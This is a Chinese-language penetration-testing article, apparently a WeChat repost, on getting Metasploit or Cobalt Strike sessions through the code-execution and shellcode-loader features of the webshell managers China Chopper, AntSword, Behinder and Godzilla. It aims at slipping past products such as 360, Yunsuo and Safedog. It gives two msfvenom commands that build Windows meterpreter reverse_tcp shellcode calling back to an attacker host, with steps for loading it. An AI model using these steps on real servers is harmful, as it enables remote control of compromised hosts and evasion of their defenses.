|
|
前言
这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF，附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线，实战渗透中如果遇到以下场景时可尝试文中方法绕过。
利用场景
仅支持ASP，WScript.Shell、Shell.Application组件被卸载；又或者支持ASP.NET，但是存在有某些安全防护软件（360、云锁、安全狗等），在这两种场景下可能无法执行命令、上线和提权等。
注：目前国内大部分安全防护软件都会对某些进程或进程链的监控较为严格，如果遇到这类场景时可尝试使用以下方式来绕过，但过不了D盾，因为Hook掉了一些上线所需的API，其他防护软件还请自测。
0x01 中国菜刀
中国菜刀中并没有直接上线和shellcode加载功能，但是有一个自定义代码执行，我们可以利用这个功能来获取MSF会话。
0x02 中国蚁剑
中国蚁剑和菜刀一样，也可以利用As-Exploits后渗透插件中的执行自定义Payload功能来获取MSF会话。
如果目标主机支持ASP.NET和JSP脚本，我们也可以利用As-Exploits插件中的ShellCode加载器功能来上线CS或MSF，只需生成hex格式的shellcode即可，c、csharp的还需要做些处理。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f hex
0x03 冰蝎
冰蝎不仅可以利用自定义代码执行功能来获取MSF会话，也可以使用反弹shell功能来获取CS/MSF会话，但是不支持ASP脚本。
0x04 哥斯拉
目标仅支持ASP脚本时我们可以利用哥斯拉中的代码执行功能来获取MSF会话，加密器用的ASP_RAW，其他的加密器还请自测。
利用ShellcodeLoader获取会话时需要先生成一个C的shellcode，将x和"及多余字符都删掉，只需留下hex shellcode即可，然后再依次点击load加载和run运行就能获取到会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f c
Cannot create process errcode:5。
0x05 文末小结
关 注 有 礼
还在等什么？赶紧点击下方名片关注学习吧！
推 荐 阅 读
原文始发于微信公众号（潇湘信安）：常用Webshell管理工具上线利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论